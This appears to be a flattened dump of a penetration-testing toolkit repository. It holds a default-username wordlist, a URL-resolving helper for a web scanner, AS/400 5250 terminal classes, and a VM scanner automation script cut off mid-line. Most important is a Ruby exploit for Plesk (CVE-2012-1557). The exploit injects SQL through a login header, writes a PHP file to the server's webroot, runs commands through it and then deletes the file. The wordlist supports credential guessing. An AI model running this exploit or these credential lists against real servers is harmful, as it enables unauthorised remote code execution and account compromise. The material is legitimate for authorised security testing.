280 | manuf 281 | me 282 | mediator 283 | memotec 284 | mfd 285 | mlusr 286 | mountfs 287 | mountfsys 288 | mountsys 289 | n/a 290 | ncrm 291 | netlink 292 | netrangr 293 | news 294 | nms 295 | nobody 296 | nop 297 | nuucp 298 | operator 299 | oracle 300 | patrol 301 | postmaster 302 | powerdown 303 | prime 304 | primenet 305 | primos_cs 306 | qpgmr 307 | qsecofr 308 | qserv 309 | qsrv 310 | qsrvbas 311 | qsvr 312 | qsysopr 313 | quser 314 | rcust 315 | readonly 316 | readwrite 317 | replicator 318 | rje 319 | ro 320 | root 321 | rw 322 | rwa 323 | sa 324 | satan 325 | secoff 326 | secofr 327 | setup 328 | sherzad420 329 | shutdown 330 | signa 331 | snake 332 | software 333 | storwatch 334 | stuccoboy 335 | supervisor 336 | support 337 | sync 338 | sys 339 | sysadm 340 | sysadmin 341 | sysbin 342 | system 343 | system_admin 344 | teacher 345 | tech 346 | tele 347 | tellabs 348 | temp1 349 | topicalt 350 | topicnorm 351 | topicres 352 | tour 353 | trouble 354 | tutor 355 | umountfs 356 | umountfsys 357 | umountsys 358 | unix 359 | uucp 360 | uucpadm 361 | web 362 | webmaster 363 | www 364 | -------------------------------------------------------------------------------- /cenzic/url2cenzic.py: -------------------------------------------------------------------------------- 1 | import urllib2 2 | import socket 3 | import argparse 4 | import sys 5 | import multiprocessing 6 | 7 | numProcess=10 8 | default_timeout = 10 9 | socket.setdefaulttimeout(default_timeout) 10 | 11 | def get_redirected_url(url): 12 | try: 13 | opener = urllib2.build_opener(urllib2.HTTPRedirectHandler) 14 | opener.addheaders = [('User-agent', 'Mozilla/5.0')] 15 | urllib2.install_opener(opener) 16 | request = opener.open(url) 17 | return request.url 18 | #except urllib2.HTTPError: 19 | # return None 20 | #except urllib2.URLError: 21 | # return None 22 | except Exception as e: 23 | #return str(e) 24 | return None 25 | 26 | 27 | class Worker(multiprocessing.Process): 28 | 29 | def __init__(self, 30 | work_queue, 31 | result_queue, 32 | ): 33 | # base class initialization 34 | multiprocessing.Process.__init__(self) 35 | self.work_queue = work_queue 36 | self.result_queue = result_queue 37 | self.kill_received = False 38 | 39 | def run(self): 40 | while (not (self.kill_received)) and (self.work_queue.empty()==False): 41 | try: 42 | job = self.work_queue.get_nowait() 43 | except: 44 | break 45 | 46 | (jobid,url) = job 47 | rtnVal = (jobid,get_redirected_url(url)) 48 | self.result_queue.put(rtnVal) 49 | 50 | def execute(jobs, num_processes=2): 51 | # load up work queue 52 | work_queue = multiprocessing.Queue() 53 | for job in jobs: 54 | work_queue.put(job) 55 | 56 | # create a queue to pass to workers to store the results 57 | result_queue = multiprocessing.Queue() 58 | 59 | # spawn workers 60 | worker = [] 61 | for i in range(int(num_processes)): 62 | worker.append(Worker(work_queue, result_queue)) 63 | worker[i].start() 64 | 65 | # collect the results from the queue 66 | results = [] 67 | while len(results) < len(jobs): #Beware - if a job hangs, then the whole program will hang 68 | result = result_queue.get() 69 | results.append(result) 70 | results.sort() # The tuples in result are sorted according to the first element - the jobid 71 | return (results) 72 | 73 | 74 | if __name__ == '__main__': 75 | parser = argparse.ArgumentParser() 76 | parser.add_argument('-f', dest='filename', action='store', help='[filename containing urls]') 77 | parser.add_argument('-p', dest='projectName', action='store', help='[abbreviation of the project. do not use spaces]') 78 | parser.add_argument('-o', dest='output', action='store', help='[output cenzic CSV file]') 79 | options = parser.parse_args() 80 | 81 | if len(sys.argv)==1: 82 | parser.print_help() 83 | sys.exit(1) 84 | else: 85 | if not options.output: 86 | print "[!] Please use the -output argument." 87 | if not options.filename: 88 | print "[!] Please use the -filename argument." 89 | if options.filename and options.output and options.projectName: 90 | resultList=[] 91 | filename = options.filename 92 | lines=[] 93 | with open(filename) as filename: 94 | lines = filename.read().splitlines() 95 | jobs=[] 96 | jobid=0 97 | for line in lines: 98 | line=line.strip() 99 | print line 100 | if "#" not in line and len(line)>0: 101 | jobs.append((jobid,line)) 102 | jobid = jobid+1 103 | results = execute(jobs,int(numProcess)) 104 | for result in results: 105 | if result[1] not in resultList and result[1]!=None: 106 | if ['"'+result[1]+'"','"'+options.projectName+"_"+result[1]+'"',"","","","",'"NetPenScan"','"10/2/2014"'] not in resultList: 107 | resultList.append(['"'+result[1]+'"','"'+options.projectName+"_"+result[1]+'"',"","","","",'"NetPenScan"','"10/2/2014"']) 108 | #resultList.append(['"'+result[1]+'"','"'+options.projectName+"_"+result[1]+'"',"","","","","",'"NetPenScan"','"10/2/2014"']) 109 | if len(resultList)>0: 110 | print "\n\n************** Results **************" 111 | print "Found the below URLs" 112 | 113 | for x in resultList: 114 | print x[0] 115 | 116 | if ".csv" not in options.output: 117 | file = open(options.output+".csv", "w") 118 | for x in resultList: 119 | file.write(x[0]+','+x[1]+','+x[2]+','+x[3]+','+x[4]+','+x[5]+','+x[6]+','+x[7]+'\n') 120 | file.close() 121 | print "[*] Import "+options.output+".csv into Cenzic" 122 | else: 123 | file = open(options.output, "w") 124 | for x in resultList: 125 | file.write(x[0]+','+x[1]+','+x[2]+','+x[3]+','+x[4]+','+x[5]+','+x[6]+','+x[7]+','+'\n') 126 | file.close() 127 | print "[*] Import "+options.output+" into Cenzic" 128 | 129 | else: 130 | print "\n\n************** Results **************" 131 | print "- No URLs found" 132 | -------------------------------------------------------------------------------- /exploits/cve-2013-7331.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | - jsFiddle demo 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 18 | 19 | 20 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | -------------------------------------------------------------------------------- /as400/ScreenField.py: -------------------------------------------------------------------------------- 1 | """ 2 | ScreenField object 3 | Created by Kenneth J. Pouncey 2002-05-23 4 | """ 5 | import Screen5250 6 | 7 | __all__ = ["SessionField"] 8 | 9 | # Tunable parameters 10 | DEBUGLEVEL = 0 11 | 12 | class ScreenField: 13 | """Session Field interface class. """ 14 | def __init__(self,screen): 15 | """Constructor. """ 16 | self.debuglevel = DEBUGLEVEL 17 | self.screen = screen 18 | 19 | def set_debuglevel(self, debuglevel): 20 | """Set the debug level. 21 | The higher it is, the more debug output you get (on sys.stdout). 22 | """ 23 | self.debuglevel = debuglevel 24 | 25 | def setField(self,attr,row,col,len,ffw1,ffw2,fcw1,fcw2): 26 | """ Set the field attributes """ 27 | self.length = len 28 | self.startPos = (row * self.screen.getCols()) + col 29 | self.endPos = self.startPos + len -1 30 | self.cursorProg = 0 31 | self.fieldId = 0 32 | self.attr = attr 33 | self.setFFWs(ffw1,ffw2) 34 | self.setFCWs(fcw1,fcw2) 35 | self.next = None 36 | self.prev = None 37 | return self 38 | 39 | def getAttr(self): 40 | return self.attr 41 | 42 | def getHighlightedAttr(self): 43 | return self.fcw2 | 0x20 44 | 45 | def getLength(self): 46 | return self.length 47 | 48 | def setFFWs(self,ffw1,ffw2): 49 | self.ffw1 = ffw1; 50 | self.ffw2 = ffw2; 51 | self.mdt = (ffw1 & 0x8 ) == 0x8; 52 | return self.mdt; 53 | 54 | def setFCWs(self,fcw1,fcw2): 55 | self.fcw1 = fcw1; 56 | self.fcw2 = fcw2; 57 | if (fcw1 == 0x88): 58 | self.cursorProg = fcw2; 59 | 60 | def getFFW1(self): 61 | return self.ffw1 62 | 63 | def getFFW1(self): 64 | return self.ffw2 65 | 66 | def getFCW1(self): 67 | return self.ffc1 68 | 69 | def getFCW1(self): 70 | return self.ffc2 71 | 72 | def getFieldLength(self): 73 | return self.length 74 | 75 | def getFieldId(self): 76 | return self.fieldId 77 | 78 | def setFieldId(self,fi): 79 | self.fieldId = fi 80 | 81 | def getCursorProgression(self): 82 | return self.cursorProg 83 | 84 | def getCursorRow(self): 85 | return cursorPos / self.screen.getCols(); 86 | 87 | def getCursorCol(self): 88 | return cursorPos % self.screen.getCols(); 89 | 90 | def changePos(self,i): 91 | self.cursorPos += i 92 | 93 | def getText(self): 94 | start = self.startPos 95 | text = [] 96 | while start <= self.endPos: 97 | text.append(self.screen.textPlane[start]) 98 | start += 1 99 | return text 100 | 101 | def setString(self,text): 102 | start = self.startPos 103 | for x in text: 104 | self.screen.textPlane[start] = x 105 | start += 1 106 | self.mdt = 1 107 | self.screen.notify_screen_listeners(0) 108 | 109 | def setFieldChar(self,c): 110 | x = self.length 111 | self.cursorPos = self.startPos 112 | while x > 0: 113 | self.screen.textPlane[cursorPos] = c 114 | self.changePos(1) 115 | x -= 1 116 | 117 | def resetMDT(self): 118 | self.mdt = 0 119 | 120 | def setMDT(self): 121 | self.mdt = 1 122 | 123 | def isBypassField(self): 124 | return (self.ffw1 & 0x20) == 0x20 125 | 126 | def getAdjustment(self): 127 | return (self.ffw2 & 0x7) 128 | 129 | def isFER(self): 130 | return (self.ffw2 & 0x40) == 0x40 131 | 132 | def isMandatoryEnter(self): 133 | return (self.ffw2 & 0x8) == 0x8 134 | 135 | def isToUpper(self): 136 | return (self.ffw2 & 0x20) == 0x20 137 | 138 | def getFieldShift(self): 139 | """ 140 | return bits 5 - 7 of FFW1 which holds the shift adjustment 141 | of the field 142 | """ 143 | return (self.ffw1 & 0x7) 144 | 145 | def isHighlightedEntry(self): 146 | return (self.fcw1 == 0x89) 147 | 148 | def isAutoEnter(self): 149 | return (self.ffw2 & 0x80) == 0x80 150 | 151 | def isSignedNumeric(self): 152 | return (self.getFieldShift() == 7) 153 | 154 | def getKeyPosRC(self,row1,col1): 155 | x = ((row1 * self.screen.getCols()) + col1); 156 | y = x - self.startPos; 157 | self.cursorPos = x; 158 | return y; 159 | 160 | def getKeyPos(self, pos): 161 | y = self.pos - self.startPos 162 | self.cursorPos = pos 163 | return y 164 | 165 | def getCurrentPos(self): 166 | return self.cursorPos 167 | 168 | def withinField(self,pos): 169 | if (pos >= self.startPos) and (pos <= self.endPos): 170 | return 1 171 | return 0 172 | 173 | def startPos(self): 174 | return self.startPos 175 | 176 | def startRow(self): 177 | return self.startPos / self.screen.getCols() 178 | 179 | def startCol(self): 180 | return self.startPos % self.screen.getCols() 181 | 182 | def endPos(self): 183 | return self.endPos 184 | 185 | def toString(self): 186 | return 'startRow =', self.startRow(), 'startCol =',self.startCol(), \ 187 | 'length =',self.length,'ffw1 = ',self.ffw1,'ffw2 = ',self.ffw1, \ 188 | 'is bypass field',self.isBypassField(),'isAutoEnter', \ 189 | self.isAutoEnter(),'is Mandatory Enter',self.isMandatoryEnter(), \ 190 | 'modified',self.mdt -------------------------------------------------------------------------------- /as400/ScreenFields.py: -------------------------------------------------------------------------------- 1 | """ 2 | ScreenFields object 3 | Created by Kenneth J. Pouncey 2002-05-23 4 | """ 5 | import Screen5250 6 | import ScreenField 7 | 8 | __all__ = ["SessionFields"] 9 | 10 | # Tunable parameters 11 | DEBUGLEVEL = 0 12 | CMD_READ_INPUT_FIELDS = 0x42 ## 66 13 | CMD_READ_MDT_FIELDS = 0x52 ## 82 14 | CMD_READ_MDT_IMMEDIATE_ALT = 0x83 ## 131 15 | 16 | class ScreenFields: 17 | """SessionFields interface class.""" 18 | def __init__(self,screen): 19 | """Constructor.""" 20 | self.debuglevel = DEBUGLEVEL 21 | self.screen = screen 22 | self.clearFFT() 23 | 24 | def set_debuglevel(self, debuglevel): 25 | """Set the debug level. 26 | The higher it is, the more debug output you get (on sys.stdout). 27 | """ 28 | self.debuglevel = debuglevel 29 | 30 | def clearFFT(self): 31 | """ 32 | clear field format table 33 | """ 34 | self.screenFields = [] 35 | self.currentField = None 36 | self.sizeFields = 0 37 | self.nextField = 0 38 | self.fieldIds = 0 39 | self.cpfExists = 0; # clear the cursor progression fields flag 40 | masterMDT = 0; 41 | 42 | def existsAtPos(self,pos): 43 | """ 44 | does a field exist at the position passed in 45 | """ 46 | for x in self.fields: 47 | sf = self.fields[x] 48 | if pos == sf.startPos(): 49 | self.currentField = sf 50 | return 1 51 | return 0 52 | 53 | def isMasterMDT(self): 54 | """ Is the master modified data tag set """ 55 | return self.masterMDT 56 | 57 | def setCurrentField(self,field): 58 | """ Set the current field to the field passed in """ 59 | self.currentField = field 60 | 61 | def isCurrentFieldBypassField(self): 62 | """ 63 | Return whether or not the current field is a bypass field or not 64 | """ 65 | self.currentField.isBypassField() 66 | 67 | def isCurrentField(self): 68 | """ Do we have a current field set """ 69 | return self.currentField == None 70 | 71 | def getCurrentField(self): 72 | """ 73 | return the current field position within the field plane 74 | """ 75 | return self.currentField 76 | 77 | def setField(self,attr,row,col,len,ffw1,ffw2,fcw1,fcw2): 78 | """ 79 | Set a field in the current session screen 80 | """ 81 | self.screenFields.append(ScreenField.ScreenField(self.screen)) 82 | sf = self.screenFields[self.nextField] 83 | sf.setField(attr,row-1,col-1,len,ffw1,ffw2,fcw1,fcw2) 84 | self.nextField += 1 85 | self.sizeFields += 1 86 | if not sf.isBypassField(): 87 | self.fieldIds += 1 88 | sf.setFieldId(self.fieldIds) 89 | if fcw1 == 0x88: 90 | self.cpfExists = 1 91 | if self.currentField != None: 92 | self.currentField.next = sf 93 | sf.prev = self.currentField 94 | self.currentField = sf 95 | masterMDT = self.currentField.mdt 96 | return self.currentField 97 | 98 | def readFormatTable(self,boasp,readType,codePage): 99 | """ 100 | Read the current screen fields and format them so that they can 101 | be sent to the Host 102 | """ 103 | isSigned = 0 104 | sb = None 105 | if self.isMasterMDT: 106 | for sf in self.screenFields: 107 | if sf.mdt or (readType == CMD_READ_INPUT_FIELDS): 108 | sb = sf.getText() 109 | if readType == CMD_READ_MDT_FIELDS or \ 110 | readType == CMD_READ_MDT_IMMEDIATE_ALT: 111 | len2 = len(sb) - 1 112 | while len2 >= 0 and sb[len2] < ' ': 113 | sb = sb[:-1] 114 | len2 -= 1 115 | if sf.isSignedNumeric() and len(sb) > 0 and sb[-1] == '-': 116 | isSigned = 1 117 | len3 = len(sb) 118 | if len3 > 0 or (readType == CMD_READ_MDT_FIELDS or \ 119 | readType == CMD_READ_MDT_IMMEDIATE_ALT): 120 | if len3 > 0 or (readType == CMD_READ_MDT_FIELDS or \ 121 | readType == CMD_READ_MDT_IMMEDIATE_ALT): 122 | boasp.append(17) 123 | boasp.append(sf.startRow() + 1) 124 | boasp.append(sf.startCol() + 1) 125 | k = 0 126 | while k < len3: 127 | if sb[k] < ' ': 128 | boasp.append(codePage.uni2ebcdic(' ')) 129 | else: 130 | if isSigned and k == len3 -1: 131 | boasp.append(0xd0 | (0x0f & c)) 132 | else: 133 | boasp.append(ord(codePage.uni2ebcdic(sb[k]))) 134 | k +=1 135 | 136 | def __getitem__(self,i): 137 | if i < self.sizeFields: 138 | return self.screenFields[i] 139 | else: 140 | raise IndexError 141 | 142 | def getItem(self,i): 143 | if i < self.sizeFields: 144 | return self.screenFields[i] 145 | else: 146 | raise IndexError 147 | 148 | def getCount(self): 149 | """ Return the number of fields in the current field plane """ 150 | return self.sizeFields 151 | 152 | def isInField(self, pos, chgToField): 153 | for sf in self.screenFields: 154 | if sf.withinField(pos): 155 | if chgToField: 156 | self.currentField = sf 157 | return 1 158 | return 0 -------------------------------------------------------------------------------- /plesk_panel/pleskSQL.rb: -------------------------------------------------------------------------------- 1 | #!/bin/env ruby 2 | #encoding: utf-8 3 | 4 | require 'net/http' 5 | require 'net/https' 6 | require 'uri' 7 | 8 | #Reference: http://www.esecforte.com/blog/exploring-plesks-unspecified-vulnerability/ 9 | #Reference: CVE-2012-1557 10 | 11 | host = "" 12 | port = "8443" 13 | ssl = true 14 | 15 | randomNum = Random.new.rand(1_000_0..10_000_0-1) 16 | outputFileName = "shllspider".to_s+(randomNum.to_i).to_s+".php" 17 | 18 | hostandport = host+":"+port 19 | 20 | stage1 = "';exec a..a--" 21 | #puts stage2 22 | if ssl==true 23 | url = URI.parse('https://'+hostandport+'/enterprise/control/agent.php ') 24 | else 25 | url = URI.parse('http://'+hostandport+'/enterprise/control/agent.php ') 26 | end 27 | 28 | http = Net::HTTP.new(url.host, url.port) 29 | http.use_ssl = true 30 | http.verify_mode = OpenSSL::SSL::VERIFY_NONE 31 | data = '' 32 | 33 | headers = { 34 | 'HTTP_AUTH_LOGIN' => stage1, 35 | 'HTTP_AUTH_PASSWD' => "spiderlabs", 36 | 'Host' => hostandport, 37 | 'Content-Type' => 'text/xml' 38 | } 39 | 40 | resp = http.post(url.path, data, headers) 41 | results = resp.body 42 | 43 | if results.include? "Login is incorrect" 44 | puts "[*] Plesk panel is not vulnerable" 45 | exit 46 | end 47 | results = results.match(/in <b>(.*)plib/m)[1] 48 | localPath = results 49 | puts "[*] Local path of Plesk installation: "+localPath 50 | 51 | 52 | 53 | 54 | puts "[*] Extracting Plesk Panel credentials" 55 | stage5 = "';DECLARE @li_file_sytem_object INT; DECLARE @li_result INT;DECLARE @li_file_id INT;EXECUTE @li_result = sp_OACreate 'Scripting.FileSystemObject', @li_file_sytem_object OUT;EXECUTE @li_result = sp_OAMethod @li_file_sytem_object, 'OpenTextFile', @li_file_id OUT,'"+localPath+"htdocs\\enterprise\\control\\"+outputFileName+"', 8, 1; EXECUTE @li_result = sp_OAMethod @li_file_id, 'WriteLine', NULL, '';---" 56 | 57 | url5 = URI.parse('https://'+hostandport+'/enterprise/control/agent.php ') 58 | http5 = Net::HTTP.new(url5.host, url5.port) 59 | http5.use_ssl = true 60 | http5.verify_mode = OpenSSL::SSL::VERIFY_NONE 61 | data5 = '' 62 | 63 | headers5 = { 64 | 'Cookie' => 'PLESKSESSID=da4c205a20e18edc9ea9bc692cf65631', 65 | 'HTTP_AUTH_LOGIN' => stage5, 66 | 'HTTP_AUTH_PASSWD' => "spiderlabs", 67 | 'Host' => hostandport, 68 | 'Content-Type' => 'text/xml' 69 | } 70 | resp5 = http5.post(url5.path, data5, headers5) 71 | results5 = resp5.body 72 | 73 | 74 | 75 | 76 | puts "[*] Run command on remote server" 77 | stage2 = "';DECLARE @li_file_sytem_object INT; DECLARE @li_result INT;DECLARE @li_file_id INT;EXECUTE @li_result = sp_OACreate 'Scripting.FileSystemObject', @li_file_sytem_object OUT;EXECUTE @li_result = sp_OAMethod @li_file_sytem_object, 'OpenTextFile', @li_file_id OUT,'"+localPath+"htdocs\\enterprise\\control\\"+outputFileName+"', 8, 1; EXECUTE @li_result = sp_OAMethod @li_file_id, 'WriteLine', NULL, ' ';---" 78 | 79 | url3 = URI.parse('https://'+hostandport+'/enterprise/control/agent.php ') 80 | http3 = Net::HTTP.new(url3.host, url3.port) 81 | http3.use_ssl = true 82 | http3.verify_mode = OpenSSL::SSL::VERIFY_NONE 83 | data3 = '' 84 | 85 | headers3 = { 86 | 'HTTP_AUTH_LOGIN' => stage2, 87 | 'HTTP_AUTH_PASSWD' => "spiderlabs", 88 | 'Host' => hostandport, 89 | 'Content-Type' => 'text/xml' 90 | } 91 | resp3 = http3.post(url3.path, data3, headers3) 92 | results3 = resp3.body 93 | 94 | 95 | windowsCmd = "ver" 96 | stage2 = "';DECLARE @li_file_sytem_object INT; DECLARE @li_result INT;DECLARE @li_file_id INT;EXECUTE @li_result = sp_OACreate 'Scripting.FileSystemObject', @li_file_sytem_object OUT;EXECUTE @li_result = sp_OAMethod @li_file_sytem_object, 'OpenTextFile', @li_file_id OUT,'"+localPath+"htdocs\\enterprise\\control\\"+outputFileName+"', 8, 1; EXECUTE @li_result = sp_OAMethod @li_file_id, 'WriteLine', NULL, '';---" 97 | 98 | url3 = URI.parse('https://'+hostandport+'/enterprise/control/agent.php ') 99 | http3 = Net::HTTP.new(url3.host, url3.port) 100 | http3.use_ssl = true 101 | http3.verify_mode = OpenSSL::SSL::VERIFY_NONE 102 | data3 = '' 103 | 104 | headers3 = { 105 | 'HTTP_AUTH_LOGIN' => stage2, 106 | 'HTTP_AUTH_PASSWD' => "spiderlabs", 107 | 'Host' => hostandport, 108 | 'Content-Type' => 'text/xml' 109 | } 110 | resp3 = http3.post(url3.path, data3, headers3) 111 | results3 = resp3.body 112 | 113 | newUrl = "https://"+hostandport+"/enterprise/control/"+outputFileName 114 | print "[*] Write output to "+newUrl+"\n\n" 115 | url2 = URI.parse("https://"+hostandport+"/enterprise/control/"+outputFileName) 116 | http2 = Net::HTTP.new(url2.host, url2.port) 117 | http2.use_ssl = true 118 | http2.verify_mode = OpenSSL::SSL::VERIFY_NONE 119 | data = '' 120 | resp = http2.put(url2.path,data) 121 | puts resp.body 122 | 123 | 124 | 125 | 126 | 127 | 128 | puts "\n[*] Cleaning up and deleting file..." 129 | stage4 = "';DECLARE @Result int;DECLARE @FSO_Token int;EXEC @Result = sp_OACreate 'Scripting.FileSystemObject', @FSO_Token OUTPUT;EXEC @Result = sp_OAMethod @FSO_Token, 'DeleteFile', NULL, '"+localPath+"htdocs\\enterprise\\control\\"+outputFileName+"';EXEC @Result = sp_OADestroy @FSO_Token;---" 130 | 131 | url4 = URI.parse('https://'+hostandport+'/enterprise/control/agent.php ') 132 | http4 = Net::HTTP.new(url4.host, url4.port) 133 | http4.use_ssl = true 134 | http4.verify_mode = OpenSSL::SSL::VERIFY_NONE 135 | data4 = '' 136 | 137 | headers4 = { 138 | 'HTTP_AUTH_LOGIN' => stage4, 139 | 'HTTP_AUTH_PASSWD' => "spiderlabs", 140 | 'Host' => hostandport, 141 | 'Content-Type' => 'text/xml' 142 | } 143 | resp4 = http4.post(url4.path, data4, headers4) 144 | results4 = resp4.body 145 | -------------------------------------------------------------------------------- /as400/tn5250.old.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python 2 | ######################################################################### 3 | # Tk8.0 style main window menus # 4 | ######################################################################### 5 | 6 | from Tkinter import * # get widget classes 7 | from tkMessageBox import * # get standard dialogs 8 | from tkSimpleDialog import askstring 9 | import Session 10 | import Screen5250 11 | import ScreenFields 12 | from SessionManager import SessionManager 13 | #import Sessions 14 | import CodePage 15 | from sys import argv 16 | 17 | __all__ = ["testsession"] 18 | 19 | class StartFrame(Frame): # an extended frame 20 | def __init__(self, parent=None): # attach to top-level? 21 | self.first = 1 22 | self.USERID = None 23 | self.PASSWORD = None 24 | self.myScreen = None 25 | 26 | Frame.__init__(self, parent) # do superclass init 27 | self.canvas = Canvas(parent,width=600,height=500, bg='black') 28 | self.manager = SessionManager() 29 | self.pack() 30 | 31 | self.createWidgets() # attach frames/widgets 32 | self.master.title("TN5250 for Python - Testing") 33 | self.master.iconname("TN5250") # label when iconified 34 | self.strprg() 35 | 36 | def outputScreen(self, initiator, startRow, startColumn, endRow, endColumn): 37 | """ 38 | Callable method to get screen updates 39 | """ 40 | print 'ScreenUpdated - initiated from ', initiator, \ 41 | ' Starting from -> ',startRow,endRow,' to -> ', \ 42 | endRow,endColumn 43 | 44 | if initiator == 0: ## 0 is from client and 1 is from host 45 | return 46 | 47 | # Note we only print the first 12 rows here 48 | indices = range(1,24) 49 | 50 | # for idx in indices: 51 | # print self.myScreen.getPlaneData(idx,1,idx,80,1) 52 | # print self.screen.getPlaneData(idx,1,80,2) 53 | 54 | fields = self.myScreen.getFields() 55 | 56 | if self.USERID == None or self.PASSWORD == None: 57 | self.USERID = raw_input("What's your username ? > ") 58 | self.PASSWORD = raw_input("What's your password ? > ") 59 | 60 | if self.first == 1: 61 | field = fields.getItem(0) 62 | field.setString(self.USERID) 63 | field = fields.getItem(1) 64 | field.setString(self.PASSWORD) 65 | 66 | for field in fields: 67 | #print field.toString() 68 | print field.getText() 69 | 70 | #print fields.readFormatTable(0x42,CodePage.CodePage()) 71 | #print myScreen.getFields().readFormatTable(0x52,CodePage.CodePage()) 72 | # Note we only print the first 12 rows here 73 | indices = range(1,25) 74 | row = 0 75 | 76 | for idx in indices: 77 | text = self.myScreen.getPlaneData(idx,1,idx,80,1) 78 | row += 15 79 | col = 0 80 | indx = range(0,79) 81 | for x in indx: 82 | col += 10 83 | self.canvas.create_text(col,row,text=text[x], anchor=E, fill='green') 84 | 85 | print 'number of fields',self.myScreen.getFields().getCount() 86 | """ 87 | Patrick here I just keep pressing enter so that the screens 88 | keep coming up to see the messages. Actually 6 times. 89 | the first is to send username and password. Then 2 more times 90 | to get passed messages and stuff. Then 2 more times to 91 | get messages at the bottom of the screen to make sure all is 92 | coming up. Change this number if you want less for now. 93 | """ 94 | 95 | if self.first < 7: 96 | self.myScreen.sendAidKey(0xF1) 97 | self.first += 1 98 | 99 | def strprg(self): 100 | if len(argv) >= 2: host = argv[1] 101 | else: 102 | host = askstring('Hostname', "Name of the Host ?") 103 | 104 | #ts = testsession() 105 | 106 | if len(argv) > 3: 107 | self.USERID = argv[2] 108 | self.PASSWORD = argv[3] 109 | 110 | session = self.manager.openSession('Session 1') 111 | session.setHost(host) 112 | #session = Session.Session(host) 113 | 114 | session.set_debuglevel(1) 115 | self.myScreen = session.getScreen() 116 | session.getScreen().add_screen_listener(self.outputScreen) 117 | session.connect() 118 | 119 | def createWidgets(self): 120 | self.makeMenuBar() 121 | #self.canvas = self.root.createcomponent('canvas', (), None, \ 122 | #Canvas, (self.interior(),), width=self.width, \ 123 | #height=self.height,background="black") 124 | self.canvas.pack(fill=BOTH) 125 | #text = Text(self, relief=SUNKEN, fg='green', bg='black', \ 126 | #width=150, height=50) 127 | #text.pack(fill=BOTH) 128 | 129 | def makeMenuBar(self): 130 | self.menubar = Menu(self.master) 131 | self.master.config(menu=self.menubar) # master=top-level window 132 | self.fileMenu() 133 | self.editMenu() 134 | 135 | def fileMenu(self): 136 | pulldown = Menu(self.menubar, tearoff=0) 137 | pulldown.add_command(label='Open...', command=self.notdone, \ 138 | underline=0) 139 | pulldown.add_command(label='Quit', command=self.quit, \ 140 | underline=0) 141 | pulldown.entryconfig(0, state=DISABLED) 142 | self.menubar.add_cascade(label='File', underline=0, menu=pulldown) 143 | 144 | def editMenu(self): 145 | pulldown = Menu(self.menubar, tearoff=0) 146 | pulldown.add_command(label='Copy', command=self.notdone) 147 | pulldown.add_command(label='Paste', command=self.notdone) 148 | pulldown.entryconfig(0, state=DISABLED) 149 | pulldown.entryconfig(1, state=DISABLED) 150 | self.menubar.add_cascade(label='Edit', underline=0, menu=pulldown) 151 | 152 | def notdone(self): 153 | showerror('Not implemented', 'Not yet available') 154 | 155 | def quit(self): 156 | if askyesno('Verify quit', 'Are you sure you want to quit?'): 157 | Frame.quit(self) 158 | 159 | if __name__ == '__main__': 160 | #root = Tk() 161 | StartFrame().mainloop() 162 | #root.mainloop() # if I'm run as a script 163 | -------------------------------------------------------------------------------- /vm_automation/vmAcunetix.py: -------------------------------------------------------------------------------- 1 | import multiprocessing 2 | import os 3 | import commands 4 | import glob 5 | import argparse 6 | import sys 7 | import urllib2 8 | 9 | noGUI=False 10 | numProcesses=5 11 | username='' 12 | password='' 13 | filename='' 14 | 15 | #Change the below and point to the VMX file of the VM 16 | vmHost='"/VM/XPLiteVM.vmwarevm/XPLiteVM.vmx"' 17 | 18 | acunetixCmd = '"C:\Program Files\Acunetix\Web Vulnerability Scanner 9.5\wvs_console.exe"' 19 | vmrunCmd='"/Applications/VMware Fusion.app/Contents/Library/vmrun"' 20 | cmdList=[] 21 | 22 | fileList=[] 23 | mkdirList=[] 24 | 25 | def chunk(input, size): 26 | return map(None, *([iter(input)] * size)) 27 | 28 | 29 | class Worker1(multiprocessing.Process): 30 | 31 | def __init__(self, 32 | work_queue, 33 | result_queue, 34 | ): 35 | multiprocessing.Process.__init__(self) 36 | self.work_queue = work_queue 37 | self.result_queue = result_queue 38 | self.kill_received = False 39 | def run(self): 40 | while (not (self.kill_received)) and (self.work_queue.empty()==False): 41 | try: 42 | job = self.work_queue.get_nowait() 43 | except: 44 | break 45 | (jobid,filename) = job 46 | rtnVal = (jobid,generateAcunetix(filename)) 47 | self.result_queue.put(rtnVal) 48 | 49 | def execute1(jobs, num_processes=2): 50 | work_queue = multiprocessing.Queue() 51 | for job in jobs: 52 | work_queue.put(job) 53 | 54 | result_queue = multiprocessing.Queue() 55 | worker = [] 56 | for i in range(int(num_processes)): 57 | worker.append(Worker1(work_queue, result_queue)) 58 | worker[i].start() 59 | 60 | results = [] 61 | while len(results) < len(jobs): 62 | result = result_queue.get() 63 | results.append(result) 64 | results.sort() 65 | return (results) 66 | 67 | def testInternet(): 68 | cmd = "ping -c3 4.2.2.2 > /dev/null 2>&1" 69 | if os.system(cmd)==0: 70 | return True 71 | else: 72 | print "[!] Internet is down. Please check" 73 | sys.exit() 74 | return False 75 | 76 | def RunCommand(fullCmd): 77 | try: 78 | return commands.getoutput(fullCmd) 79 | except Exception as e: 80 | print e 81 | return "Error executing command %s" %(fullCmd) 82 | 83 | def get_redirected_url(url): 84 | try: 85 | opener = urllib2.build_opener(urllib2.HTTPRedirectHandler) 86 | opener.addheaders = [('User-agent', 'Mozilla/5.0')] 87 | urllib2.install_opener(opener) 88 | request = opener.open(url) 89 | return request.url 90 | except Exception as e: 91 | return None 92 | 93 | def checkWorkDone(folderName): 94 | #print folderName+'/wvs_log*.csv' 95 | files = glob.glob(folderName+'/wvs_log*.csv') 96 | complete=False 97 | for name in files: 98 | with open(name) as f: 99 | textList=f.read() 100 | for line in textList: 101 | if "Finish time :" in line: 102 | #if "Scan was aborted : NO" in line: 103 | completed=True 104 | if complete==True: 105 | return True 106 | else: 107 | return False 108 | 109 | def generateAcunetix(line): 110 | line1 = (line.replace(":","_")).replace("//","") 111 | shareName = line1 112 | folderName = "/results/"+line1 113 | folderName1 = (folderName.replace("/","\\")).replace("results","") 114 | 115 | #Enable Shared Folders 116 | cmd = vmrunCmd+' enableSharedFolders '+vmHost 117 | RunCommand(cmd) 118 | 119 | if checkWorkDone(os.getcwd()+folderName)==False and testInternet()==True: 120 | cmd = vmrunCmd+' addSharedFolder '+vmHost+' '+shareName+' '+os.getcwd()+folderName 121 | print cmd 122 | RunCommand(cmd) 123 | 124 | if noGUI==True: 125 | cmd = 